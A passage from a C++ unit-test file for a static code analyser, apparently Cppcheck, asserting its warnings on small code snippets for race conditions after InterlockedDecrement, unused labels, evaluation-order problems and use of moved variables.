InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, 